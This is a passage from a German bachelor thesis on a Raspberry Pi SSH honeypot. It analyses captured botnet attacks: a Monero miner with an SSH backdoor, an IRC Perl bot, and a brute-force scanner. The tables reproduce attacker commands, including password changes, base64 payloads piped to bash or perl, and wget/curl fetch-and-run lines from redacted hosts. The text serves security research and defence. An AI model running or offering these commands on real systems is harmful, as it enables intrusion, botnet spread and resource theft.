Anzahl Ausgeführter Befehl46 w45 which ls45 uname -m45 uname -a45 uname45 top45 ls -lh $(which ls)45 lscpu | grep Model45 free -m | grep Mem | awk ’{print $2 ,$3, $4, $5, $6,

$7}’45 echo "<verwendeter Benutzername>:<neues Pass-

wort>"|chpasswd|bash45 crontab -l45 cat /proc/cpuinfo | grep name | wc -l45 cat /proc/cpuinfo | grep name | head -n 1 | awk

’{print $4,$5,$6,$7,$8,$9;}’44 rm -rf /var/tmp/.var0352212344 echo "321" > /var/tmp/.var0352212344 cat /var/tmp/.var03522123 | head -n 144 cat /proc/cpuinfo | grep model | grep name | wc -l41 cd /tmp || /var/tmp || /dev/shm; echo "<Base64-Hash>" |

base64 –-decode | perl

Page 41: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 31

TABELLE 5.2: Häufigkeit der verwendeten Befehle bei Angrif-fen, Teil 2

Anzahl Ausgeführter Befehl35 rm -rf /var/tmp/dota*22 cd /var/tmp; echo "<Base64-Hash>" | base64 –-decode | bash19 sleep 30s && kill -0 $(cat /var/tmp/.system9S5D22fourmgF21)

2>&119 cat /var/tmp/.system9S5D22fourmgF2114 echo "<verwendete Anmeldedaten>" > /tmp/up.txt10 sleep 15s && cd /var/tmp; echo "<Base64-Hash>" | base64

–-decode | bash6 cat /var/tmp/.systemcache4366213 uptime3 exit3 echo "1" > /var/tmp/.systemcache4366212 whoami2 sleep 15s && rm -rf /dev/shm/.satan*; rm -rf /dev/shm/rp*;

rm -rf /dev/shm/ps*; rm -rf /ps*;2 sleep 10s && /dev/shm/.satan && rm -rf /dev/shm/.satan*2 nproc2 echo aaa2 cd /dev/shm; rm -rf .satan*; wget -w 1 -T 10 -t 5 -q <IP-

Adresse>/.satan; chmod 777 .satan2 cd /dev/shm; rm -rf rp*; wget -q <IP-Adresse>/rp;1 sudo apt install masscan1 sudo apt-get install clang git gcc make libpcap-dev1 sleep 10s && cd /tmp && chmod +x .x15*; /tmp/.x15cache1 ;s1 ping google.com -c 11 ping 8.8.8.81 ls1 ip addr1 ip1 git clone https://github.com/robertdavidgraham/masscan1 cd /tmp && rm -rf .x15c* && wget -q http://<IP-

Adresse>/.x15cache || curl -O -f http://<IP-Adresse>/.x15cache;

Daraus lässt sich die Schlussfolgerung ziehen, dass diese Befehle genau fest-gelegt sind und automatisiert ausgeführt werden. Die Tatsache, dass jene Be-fehle in einem circa zwei-sekündlichem Takt aufgerufen werden unterstütztdiese These zusätzlich. Tabelle 5.3 zeigt dabei die Reihenfolge der abgesetz-ten Befehle auf.

Bei diesem Angriff wird zunächst die Anzahl der CPU-Kerne abgefragt undim Anschluss daran das Passwort des verwendeten Benutzerkontos geän-dert. Dann wird wird eine Datei angelegt beziehungsweise deren Inhalt auf

Page 42: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 32

"321"geändert, sollte diese bereits existieren. Dem folgt das Löschen und an-schließende Auslesen besagter Datei. Aufgrund dieser Reihenfolge kann dieVermutung aufgestellt werden, dass dabei lediglich getestet wird, ob das ge-kaperte Konto Lese-, Schreib- und/oder Ausführrechte besitzt.

TABELLE 5.3: Typischer Ablauf bei einem Angriff durch einenBot

Ablauf Ausgeführter Befehl1 cat /proc/cpuinfo | grep name | wc -l2 echo "<verwendeter Benutzername>:<neues Pass-

wort>"|chpasswd|bash3 echo "321" > /var/tmp/.var035221234 rm -rf /var/tmp/.var035221235 cat /var/tmp/.var03522123 | head -n 16 cat /proc/cpuinfo | grep name | head -n 1 | awk

’{print $4,$5,$6,$7,$8,$9;}’7 free -m | grep Mem | awk ’{print $2 ,$3, $4, $5, $6,

$7}’8 ls -lh $(which ls)9 which ls10 crontab -l11 w12 uname -m13 cat /proc/cpuinfo | grep model | grep name | wc -l13 top14 uname15 uname -a16 lscpu | grep Model17 echo "<verwendete Anmeldedaten>" > /tmp/up.txt18 rm -rf /var/tmp/dota*19 cat /var/tmp/.systemcache43662120 echo "1" > /var/tmp/.systemcache43662121 cat /var/tmp/.systemcache43662122 sleep 15s && cd /var/tmp; echo "<Base64-Hashwert>" |

base64 –-decode | bash22 cd /tmp || /var/tmp || /dev/shm; echo "<Base64-Hash>" |

base64 –-decode | perl

Anknüpfend daran wird der Name der CPU ausgelesen. Auch wird versuchtden Zustand des Arbeitsspeichers ab zu fragen, wofür das Betriebssystemjedoch in einer Sprache installiert sein muss, in welcher der Arbeitsspeichermit „Mem“ beginnt.

In den nächsten Schritten werden daraufhin verschiedene Systeminforma-tionen abgerufen, wie zum Beispiel der Name des Prozessors und erneut die

Page 43: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 33

Anzahl der Kerne oder die Architektur des Betriebssystems. Zusätzlich wer-den auch zeitbasierte, wiederkehrende Aufgaben und die aktuell laufendenProzesse abgerufen.

Nach der Phase des Auskundschaftens wird letztendlich ein Base64-Hash-wert dekodiert und direkt ausgeführt. Dabei gibt es jedoch zwei verschiede-ne Varianten des Vorgehens.

5.3.1 Die Bash Variante

In der einen Variante beinhaltet der Base64-Hash ein Skript für die Bash-Kommandozeile. Dessen Hauptaufgabe besteht darin entweder das Ar-chiv dota.tar.gz oder dota2.tar.gz herunter zu laden. Dieses wirdin einem Ordner mit drei möglichen Namen entpackt: /tmp/.X13-unix,/tmp/.X15-unix oder /tmp/.X17-unix.

.rsync/a/

b/

c/

init

init2

initall

a/a

anacron

cron

init0

run

stop

b/a

ps

psx

run

stop

c/lib/

go

run

slow

start

stop

tsm

tsm32

tsm64

v

watchdog

lib/32/

64/

32/libc.so.6

libdl.so.2

libnss_dns.so.2

libnss_files.so.2

libpthread.so.0

libresolv-2.23.so

libresolv.so.2

tsm

64/libc.so.6

libdl.so.2

libnss_dns.so.2

libnss_files.so.2

libpthread.so.0

libresolv-2.23.so

libresolv.so.2

tsm

Ordner

Skript

Binärdatei

Leere Datei

ABBILDUNG 5.7: Das dota2.tar.gz-Archiv entpackt

Page 44: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 34

In dem Archiv selbst befindet sich ein Ordner mit dem Namen .rsync, wobeider führende Punkt die Kennzeichnung zum Verstecken des Ordners ist. DerName selbst entstammt einem unidirektionalen Sychronisationsprogramm.

Nach dem Wechsel in diesen Ordner wird das initall-Skript ausgeführt.Dieses entfernt zu Beginn sämtliche Ordner und Prozesse, die durch einenvorangegangenen Angriff entstanden sein könnten. Danach führt dieses dasinit-Skript aus. Sollte im Benutzerverzeichnis kein Ordner mit dem Namen.firefoxcatche existieren startet initall zusätzlich noch init2.

init und init2 rufen dieselben Programme auf. Der Unterschied bestehtdarin, dass init erst den Ordner .firefoxcatche erstellt und die Ordner aund b in diesen kopiert, bevor die Programme darin aufgerufen werden. AmEnde erstellen beide Skripte noch ein Cronjob, der diese Programme auto-matisch startet, sobald der infizierte Rechner hochfährt.

Das erste Programm, das die Beiden aufrufen, heißt init0 und befindet sichim Ordner a. Dessen Ziel ist es möglichst alle Schürfprogramme für Kryp-towährungen zu beenden. Vermutlich um die komplette Rechenleistung fürein eigenes Programm nutzen zu können.

Fünf Sekunden später starten init und init2 ein weiteres Programm ausdem gleichen Ordner. Dieses heißt a und erstellt ein kurzes Skript namensupd. Anschließend konfiguriert es die Anzahl der Linux Hugepages1 und star-tet upd, welches wiederum run aus dem gleichen Ordner startet.

run führt zunächst stop aus, was alle Prozsesse mit dem Namen cron been-det. Cron ist dabei ein Standard-Dienst in diversen unixoiden Betriebssyste-men, mit dem Prozesse zeitbasiert ausgeführt werden können. Danach wirdbasierend auf der Architektur des Betriebssystems eine von zwei Binärda-teien ausgeführt. In einer 32-Bit Umgebung wird anacron gestartet und bei64-Bit cron mit anacron als Ersatzfunktion bei Scheitern.

Dadurch, dass dies Binärdateien sind, können diese nicht einfach ausgelesenwerden. Für Linux-Betriebssysteme gibt es jedoch das Tool „GNU Strings“,mit dem es möglich ist Zeichenketten aus diesen Dateien aus zu lesen.

Das Auslesen von cron und anacron zeigt dadurch, dass es sich um Schürf-programme für Kryptowährungen handelt, da in beiden nachweislich dasTool XMRig2 eingebettet ist. Dieses ist auf die Währung Monero spezialisiert.

1https://wiki.debian.org/Hugepages2https://github.com/xmrig/xmrig

Page 45: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 35

Nachdem diese Programme unter verdecktem Namen gestartet sind, wech-seln die beiden init-Skripte in den b-Ordner. Darin wird ebenfalls das a-Programm gestartet.

initall

init

JaNein

Existiert der Ordner .firefoxcatche?

a/a b/a c/starta/init0

a/run

32-Bit 64-BitArchitektur

anacron bei Fehler cron

b/run b/stop c/run

Ende

c/stop c/go

c/tsm

32-Bit 64-Bit

Architektur

c/tsm32 c/tsm64

init2

a/stop

b/ps

ABBILDUNG 5.8: Verlauf der verwendeten Programme

Dieses erstellt ein Programm namens sync und erteilt Ausführrechte fürsync, stop, ps und run. Ausgeführt wird jedoch nur stop, was verschiede-ne Prozesse wie beispielsweise ps beendet. Im Anschluss daran wird run

ausgeführt, welches erneut stop ausführt. Zusätzlich dekodiert es einenBase64-Hash und führt diesen aus. Die Funktionsweise von diesem wird inAbschnitt 5.3.2 beschrieben.

Page 46: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 36

Im Anschluss daran wird nun ps ausgeführt. Damit ersetzt dieses Programmdas Linux-Tool zum Anzeigen von laufenden Prozessen. Der Auswertungder verfügbaren Zeichenketten nach handelt es sich hierbei um ein SSH-Hintertürchen, da unter anderem ein Schlüssel hinterlegt wird, mit dem esspäter möglich ist sich ohne Passwort an zu melden. Zusätzlich werden nochdie SSL-Zertifikate manipuliert.

Als letzten Schritt vor Erstellung des Cronjobs starten die init-Programmedie Skripte aus dem c-Ordner, angefangen mit start. Dieses erstellt imBenutzerverzeichnis eine Datei mit dem Namen aptitude, welcher auchder Name des Frontends für das Paketverwaltungssystem APT ist, welchesdurch das Betriebssystem Debian entstand.

Das neu erstellte Skript wird direkt ausgeführt und dessen einziger Funk-tionsaufruf ist das Starten run. Dieses wiederum startet das obligatorischestop-Programm, welches mitunter tsm beendet.

Nach einer zufallsgenerierten Zeitspanne von maximal 4 Minuten startet die-ses das go-Programm, welches die letzten Schritte des Angriffs einleitet. Da-bei lädt es zunächst drei Dateien runter. Die erste enthält eine IP-Adresse vonder aus die anderen beiden heruntergeladen werden.

Die zweite Datei enthält hunderte Kombinationen von Benutzernamen undPasswörtern. Die dritte Datei enthielt zum Zeitpunkt der Examination 70.000distinkte IP-Adressen.

Diese Dateien werden nun, in Verbindung mit der Angabe von 302 Threadsund einer Maximallaufzeit von 24 Stunden, an tsm weitergegeben. Diesesüberprüft lediglich die Architektur und leitet die Parameter an die entspre-chende Binärdatei, wahlweise tsm32 oder tsm64, weiter.

Aus den übergebenen Parametern kann man ableiten, dass die Anmeldeda-ten verwendet werden um sich bei den IP-Adressen an zu melden. Das un-terstützt wiederum die These aus Abschnitt 5.1, dass es sich hierbei um einBotnetz handelt, dass sich selbst zu vergrößern versucht.

Die Analyse der tsm-Dateien bestätigt, dass es sich dabei um ein Programmfür Brute-Force-Angriffe handelt. Augenscheinlich heißt dieses „Faster thanlight“ (siehe Abbildung 5.9) und ist nur für Testzwecke gedacht. Zusätzlichenthält das Programm noch die Befehle, die aus Tabelle 5.3 bereits bekanntsind.

Page 47: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 37

======================================================================−−−−−−−−−−−−−−−−−−−−−−>F a s t e r than l i g h t <−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−>use only f o r t e s t i n g <−−−−−−−−−−−−−−−−−−−−−−−−−−−Use : scan [OPTIONS] [ [ USER PASS ] ] FILE ] [ IPs/IPs Port FILE ]

−t [NUMTHREADS] : Change the number of threads used . Defaul t i s %d−m [MODE] : Change the way the scan works . Defaul t i s %d−f [FINAL SCAN] : Does a f i n a l scan on found s e r v e r s . Defaul t i s %dUse −f 1 f o r A. B c l a s s /16. Defaul t i s 2 f o r A. B .C /24− i [ IP SCAN] : use − i 0 to scan ip c l a s s A. B . Defaul t i s %di f you use − i 0 then use ./ scan −p 22 − i 0 p 192 .168 as agrument f o r ip f i l e−m 0 f o r non s e l e c t i v e scanning−P 0 leave d e f a u l t password unchanged . Changes password by d e f a u l t .−s [TIMEOUT ] : Change the timeout . Defaul t i s %ld−S [2ndTIMEOUT ] : Change the 2nd timeout . Defaul t i s %ld−p [PORT ] : Spec i fy another port to connect to . 0 f o r mult iport−c [REMOTE−COMMAND] : Command to execute on connect . Use ; or && with

commandsUse : ./ scan −t 202 −s 5 −S 5 p ip −c "uname"Use : ./ scan −t 202 −s 5 −S 5 − i 0 −p 22 p 192 .168The example above w i l l scan 192 .168 port 22 and brute f o r c e the IP l i s t .Use : ./ scan −t 202 −s 5 −S 5 −p 0 p ip − f o r " ip port " f i l eUse : ./ scan −t 202 −s 5 −S 5 −p 23 −m 0 p ip − f o r other p r o t o c o l sWhen using −m 1 ( d e f a u l t value ) the scan w i l l only t a r g e t f u l l l inuxmachines or windows machines with openssh i n s t a l l e d . Routers , busyboxeshoneypots and other l i m i t e d l inux devices w i l l be skipped from the output .Use −m 0 f o r non−s e l e c t i v e scanning ( can be used f o r a l l type of ssh devices )t h i s inc ludes busyboxes , routers , honeypots and other devices with l i m i t e dcommands . ==========================================================================================================================================

ABBILDUNG 5.9: Teilausgabe von strings tsm64

Abschließend lässt sich nun sagen, dass es sich bei diesen Angriffen erwiese-nermaßen um ein Wachstum anstrebendes Botnetz handelt, dessen Aufgabees ist die Kryptowährung Monero zu schürfen und ein SSH-Hintertürchenzum infizierten System offen zu halten.

5.3.2 Die Perl Variante

Die zweite Variante setzt anstelle der Bash-Kommandozeile auf ein Perl-Programm, welches eine mehrere Zehntausend Zeichen lange Kette deko-diert und ausführt. Das daraus entstehende Programm selbst ist über 900Zeilen lang.

Ziel von diesem ist es sich mit einem IRC-Server zu verbinden, über den Be-fehle abgesetzt werden können. Dabei können entweder vordefinierte Funk-tionen verwendet werden oder die Kommandozeile selbst. Die Vordefinier-ten enthalten Funktionen, um unter anderem entweder die Ports 21 - 25, 53,80, 110, 143, und 6665 oder jeden Einzelnen in einem bestimmten Bereich zuscannen.

Page 48: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 38

Eine weitere Funktion ist das massenhafte Versenden von UDP-Paketen.Dadurch ist es möglich einen Denial-of-Service-Angriff oder aber auch inKombination mit weiteren, infizierten Rechnern einen Distributed-Denial-of-Service-Angriff zu starten. Damit ergibt sich für die Angreifer*innen eineMöglichkeit die in Bots verwandelten Rechner zu monetarisieren, indem sieden Distributed-Denial-of-Service-Angriff als mietbaren Service anbieten.

Weitere Funktionen des Perl-Programms dienen der Administration des Bot-netzes oder aber stellen Abkürzungen für IRC-eigene Befehle dar.

Obwohl diese Art des Angriffs in der Bash-Variante bereits enthalten ist, exis-tiert sie als eigene Version. Ihre Einsatzmöglichkeit unterscheidet sich dabeiinsofern, als dass mit dem DDoS-Angebot aktiv, im Gegensatz zum passivenschürfen, Geld verdient werden kann.

5.3.3 Weitere Angriffe

Nicht alle Angriffe entstehen durch Botnetze mit geregelten Abläufen. Auchsind Aufzeichnungen von Angriffen dabei, in denen das System zum Bei-spiel nach Abfrage der IP-Adresse oder dem Versuch eine Webseite an zupingen wieder verlassen wurde. Dazu gibt es noch Fälle, in denen der einzigeBefehl exit3 ist, was vermuten lässt, dass dort keine schädlichen Absichtenbestanden und die Anmeldedaten nur zu Testzwecken verwendet wurden.

Von einer IP-Adresse aus wurde versucht das vorgetäuschte Betriebssystemaktiv mit systemspezifischen Befehlen zu benutzen. Dabei wurde zunächstversucht ein Tool herunter zu laden, welches ein Port-Scanner ist und nacheigenen Aussagen das gesamte Internet in weniger als sechs Minuten scannt.[12] Dadurch, dass dies scheiterte wurde danach versucht die Abhängigkei-ten über den Paketmanager des Betriebssystem zu installieren. Im Anschlussdaran wurde der Quelltext des besagten Tools herunter geladen, um diesendann selbst zu Kompilieren.

Aus diesem Vorgehen in Verbindung mit den Zeitabständen zwischen denBefehlen kann man folgern, dass es sich in diesen Fällen tatsächlich um indi-viduelle Angreifer*innen anstelle von Bots handelt. Daher ist es auch mög-lich, dass diese erahnt haben können, dass sie sich in einem Honeypot befin-den und dementsprechend den Angriffsversuch früher stoppten.

3Befehl zum verlassen der Kommandozeile

Page 49: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 39

5.4 Eine uneingeschränktere Woche

In der Woche vom 19. bis zum 26. August 2019 änderten sich die Zugangs-daten für eine SSH-Verbindung zum Honeypot. Mit Beginn der Woche sinddie zehn meistbenutzten Benutzernamen aus der vorherigen Aufzeichnungzugelassen worden. Eine Beschränkung auf bestimmte Passwörter ist entfal-len.

Damit soll getestet werden, ob sich bei mehr SSH-Verbindungen die Art derAngriffe ändert oder lediglich die Anzahl der verwendeten Befehle.

In den beiden nachfolgenden Tabellen sind alle ausgeführten Befehle aus die-ser Woche aufgelistet. Mit über 4.800 gleichen Befehlen ist das Botnetz erwar-tungsgemäß wieder am stärksten vertreten. Somit sind in Tabelle 5.4 keineneuen Befehle enthalten.

TABELLE 5.4: Häufigkeit der verwendeten Befehlen bei mehrAngriffen, Teil 1

Anzahl Ausgeführter Befehl4890 cat /proc/cpuinfo | grep name | wc -l4887 cat /proc/cpuinfo | grep name | head -n 1 | awk

’{print $4,$5,$6,$7,$8,$9;}’4886 free -m | grep Mem | awk ’{print $2 ,$3, $4, $5, $6,

$7}’4882 uname -m4881 uname -a4881 top4879 which ls4879 ls -lh $(which ls)4879 crontab -l4878 uname4877 w4874 lscpu | grep Model4833 rm -rf /var/tmp/.var035221234833 echo «Base64-Hash>" > /var/tmp/.var035221234832 cat /var/tmp/.var03522123 | head -n 14832 cat /proc/cpuinfo | grep model | grep name | wc -l4751 rm -rf /var/tmp/dota*4660 echo "<Base64-Hash>" > /tmp/up.txt2892 echo "<Base64-Hash>"|chpasswd|bash2026 cat /var/tmp/.systemcache4366211992 echo -e "<zufallsgenerierte Zeichenkette>"|passwd|bash1966 echo "<Base64-Hash>"|passwd1011 echo "<Base64-Hash>" > /var/tmp/.systemcache436621

Page 50: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 40

Tabelle 5.5 hingegen weist neue Befehle auf. Unter diesen taucht allerdingsauch das Muster der Bot-Angriffe auf, unterscheidet sich dabei aber in einemPunkt von diesen. Auch dort wird ein Base64-Hashwert übergeben, deko-diert und mit der Bash-Kommandozeile ausgeführt.

In diesem Fall wird der entschlüsselte Text jedoch in einer Datei mit dem Na-men .threatstackcloudsecops abgespeichert. Dieser Name lässt vermuten,dass diese Datei Teil eines Sicherheitsprogramms einer bestimmten Firma ist.Die Befehle in diesem Skript gleichen aber genau denen der Botnetze.

Dabei wird zunächst ein Ordner mit dem Namen .X15-unix gelöscht, er-stellt und in diesen gewechselt. Anschließend wird das aus dem Abschnitt5.3.1 bekannte Archiv dota2.tar.gz heruntergeladen. Dieses wird dann ent-packt, mit entsprechenden Dateirechten versehen und im Anschluss daranausgeführt. Somit ist der einzige Unterschied zu dem Botnetz, dass es denZwischenschritt des Schreibens in eine Datei gibt.

Neu bei den aufgezeichneten Befehlen ist auch ein zweimalig durchgeführterAngriff. Dieser scheint ebenfalls automatisiert ab zu laufen, da beide Angriffeidentisch sind und teilweise zwei Befehle pro Sekunde ausgeführt werden.Dabei wirkt der Angriff selbst noch nicht ausgereift.

So wird beispielsweise „\x47\x72\x6f\x70/“ in eine Datei mit dem Namen.nippon geschrieben. Die hexadezimalen Werte werden dabei in das Wort„Grop“ umgewandelt. Direkt danach folgt das Verzeichnis, welches in demFall das Root-Verzeichnis „/“ ist. Diese Datei wird anschließend lediglichausgegeben und wieder gelöscht. Das wiederholt sich daraufhin mit anderenVerzeichnissen.

/bin/busybox cp; /gisdfoewrsfdf ist ein weiterer Befehl aus diesem An-griff. BusyBox ist dabei ein Programm, welches diverse Standardtools liefert,unter anderem das Kopiertool cp. Diesem muss für ein erfolgreiches Kopie-ren noch die Quelle und das Ziel angegeben werden. Bei dem hier vorliegen-den Befehl würde jedoch der Zielort der Kopie fehlen.

Allerdings spaltet das Semikolon den Befehl auf und effektiv wird als Erstes/bin/busybox cp und anschließend /gisdfoewrsfdf ausgeführt. Dadurchschlägt der erste Teil aufgrund von fehlenden Dateioperanden fehl, aber auchder zweite Teil schlägt fehl, da keine Datei mit Namen gisdfoewrsfdf in dasWurzelverzeichnis hochgeladen wurde und somit nicht ausgeführt werdenkann.

Page 51: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 41

TABELLE 5.5: Häufigkeit der verwendeten Befehlen bei mehrAngriffen, Teil 2

Anzahl Ausgeführter Befehl1002 sleep 15s && cd /var/tmp; echo "<Base64-Hash>" | base64

–-decode | bash49 nproc49 cd /tmp || /var/tmp || /dev/shm; echo "<Base64-Hash>" |

base64 –decode | perl48 cd /var/tmp; echo "<Base64-Hash>" | base64 –decode |

bash35 <leere Eingabe>17 cd /var/tmp;

echo "<Base64-Hash>">.threatstackcloudsecops;base64 –decode .threatstackcloudsecops | bash

16 sleep 30s&& kill -0 $(cat /var/tmp/.system9S5D22fourmgF21) 2>&1

16 cat /var/tmp/.system9S5D22fourmgF2110 id8 netstat -tn 2>/dev/null | grep ’:80 ’ | awk ’{print

$5}’ | cut -f1 -d: | sort | uniq -c | sort -rn | wc -l7 ifconfig | grep ’194.95.89.2’4 /gisdfoewrsfdf4 echo -e ’\x47\x72\x6f\x70/’ > //.nippon; cat

//.nippon; rm -f //.nippon2 mount ;/gisdfoewrsfdf2 echo -e ’\x47\x72\x6f\x70/var/tmp’ > /var/tmp/.nippon;

cat /var/tmp/.nippon; rm -f /var/tmp/.nippon2 echo -e ’\x47\x72\x6f\x70/tmp’ > /tmp/.nippon; cat

/tmp/.nippon; rm -f /tmp/.nippon2 echo -e ’\x47\x72\x6f\x70/sys’ > /sys/.nippon; cat

/sys/.nippon; rm -f /sys/.nippon2 echo -e ’\x47\x72\x6f\x70/proc’ > /proc/.nippon; cat

/proc/.nippon; rm -f /proc/.nippon2 echo -e ’\x47\x72\x6f\x70/lib/init/rw’ >

/lib/init/rw/.nippon; cat /lib/init/rw/.nippon; rm-f /lib/init/rw/.nippon

2 echo -e ’\x47\x72\x6f\x70/dev/shm’ > /dev/shm/.nippon;cat /dev/shm/.nippon; rm -f /dev/shm/.nippon

2 echo -e ’\x47\x72\x6f\x70/dev/pts’ > /dev/pts/.nippon;cat /dev/pts/.nippon; rm -f /dev/pts/.nippon

2 echo -e ’\x47\x72\x6f\x70/dev’ > /dev/.nippon; cat/dev/.nippon; rm -f /dev/.nippon

2 cat /bin/echo ;/gisdfoewrsfdf2 /bin/busybox cp; /gisdfoewrsfdf1 uname -r1 sudo /bin/sh1 shell1 \n1 ls -la /usr/bin/curl

Page 52: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

42

6 Bewertung

Ziel dieser Bachelorthesis war es einen Honeypot mit dem Einplatinencom-puter Raspberry Pi zu realisieren und diesen an einen Telegram-Bot an zuschließen. Zusätzlich sollten die gesammelten Daten helfen einen Überblicküber Frequenz, Verteilung und der Vorgehensweise der Angriffe zu verschaf-fen. Die so erhaltenen Informationen konnten auch erfolgreich zu einem Ge-samtbild kombiniert werden.

Bei den hochgeladenen beziehungsweise von anderen IP-Adressen herun-tergeladenen Dateien sind jedoch auch Binärdateien vor zu finden. Dies er-schwert die Analyse, da im Gegensatz zu beispielsweise Bash-Skripten oderPython-Programmen die Befehle nicht so ohne Weiteres aus zu lesen sind. Esgibt dennoch Tools, wie in etwa strings um Zeichenketten aus diesen Da-teien auslesen zu können. Damit ist es häufig schon möglich etwas über dieFunktion des Programms heraus zu finden.

Es gibt aber auch Disassembler wie den Interactive Disassembler (IDA),mit denen es möglich Binärcode in Assemblerspache um zu wandeln. Umdie Ausgabe von diesen Programmen nutzen zu können müssen jedoch dieAssemblerspachen regelmäßig geübt werden. Damit ließe sich die Funkti-onsweise mancher Programme noch genauer beschreiben.

Dennoch hat strings gereicht, um die Vorgänge der Angriffe zu entschlüs-seln und heraus zu finden, welche Ziele Angreifer*innen haben und wie die-se dabei vorgehen.

Zu Beginn der Bachelorthesis war unklar, ob genügend Daten anfallen wer-den. Doch bereits in der ersten halben Stunde nach dem erfolgreichen Startendes Honeypots startete auch der erste Anmeldeversuch. Bis zum nächstenTag waren es insgesamt vier Versuche, über die der Telegram-Bot jeweils be-richtete.

Page 53: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 6. Bewertung 43

Der zweite Tag hatte 154 Versuche zu verzeichnen und der dritte Tag 613.Damit einhergehend musste der Benachrichtigungsfilter des Bots geändertwerden, wonach dieser nur noch erfolgreiches Anmelden und die verwen-deten Befehle verschickte. Seit dem vierten Tag gab es mehrere Tausend An-meldeversuche pro Tag.

Die ersten Angriffe werden in Kapitel 5 jedoch nicht mitberücksichtigt, dadie Aufzeichnungen über diese weder komplett noch für die Auswertungder Daten serialisiert sind.

Doch auch in diesen wird deutlich, dass die meisten Angriffe durch Botnetzeentstehen und andere, individuelle Angreifer*innen vergleichsweise selteneran zu treffen sind.

Der Telegram-Bot selbst könnte noch um einige Funktionen erweitert wer-den (siehe Kapitel 7). Dies ist jedoch aus zeitlichen Gründen nicht möglichgewesen und hätte womöglich zu inkonsistenten Daten geführt. Mit den ak-tuellen Funktionalitäten war es jedoch möglich stets Informationen über denaktuellen Status zu erhalten.

Auch konnte in ruhigen Phasen darüber überprüft werden, ob der Honey-pot und der Bot selbst noch funktionstüchtig sind und durch das Abschaltendes SSH-Servers konnte davon ausgegangen werden, dass das System selbstgeschützt ist.

Page 54: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

44

7 Fazit

ABBILDUNG 7.1: Weltkarte mit sämtlich aufgezeichneten Ur-sprüngen

In der Zeit der Aufzeichnung kam es zu 249.402 Angriffen mit einem Durch-schnitt von 5.650 (±1.717) Anmeldeversuchen pro Tag. Der Großteil dieserAngriffe zielt darauf ab, das Zielsystem in einen Bot zu verwandeln, welcherzum einen die Kryptowährung Monero schürft und zum anderen über einenInternet Relay Chat kontrolliert werden kann. Zusätzlich wird noch ein SSH-Schlüssel hinterlegt, um jeder Zeit eine Verbindung aufbauen zu können.

Ist ein System erst einmal in ein Bot umgewandelt, so starten von diesemselbst weitere Angriffe. Dadurch befindet sich dieses Botnetz in stetigemWachstum.

Aus der Masse der versuchten digitalen Einbrüche wird ersichtlich, wiewichtig das Thema Sicherheit im Bereich der Technik ist. Dabei gibt esbestimmte Vorgehensweisen mit denen die Angriffe abgewehrt werdenkönnen.

Dazu zählt unter anderem das Ändern von Standardpasswörtern, da dieseteilweise öffentlich bekannt sind und nachweislich bei Anmeldeversuchenverwendet werden. Das neu gewählte Passwort selbst sollte dabei möglichst

Page 55: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 7. Fazit 45

nur einziges Mal in Benutzung sein und beispielsweise aus mindestens 12Zeichen, Sonderzeichen und Ziffern bestehen.

Beim Betrieb eines SSH-Servers kann dieser so konfiguriert werden, dass dasAdministratorkonto sich nicht anmelden darf. Stattdessen meldet man sichmit einem anderen Benutzerkonto an und wechselt von diesem anschlie-ßend. Dadurch wird eine zusätzliche Barriere in Form eines weiteren Pass-worts errichtet. Eine weitere, mögliche Konfiguration ist das generelle Deak-tivieren des Anmeldens mit Passwort. Dadurch wird ein SSH-Schlüssel zumVerifizieren nötig und die Möglichkeit mittels Brute-Force-Angriff in das Sys-tem ein zu dringen genommen.

SSH-Server

anmelden

Benutzer*in

Benutzerwechsel

Benutzerkontomit

eingeschränktenRechten

Administrator

ABBILDUNG 7.2: SSH Anmelden

Ob ein Gerät infiziert ist lässt sich damit überprüfen, ob die Prozesse cron
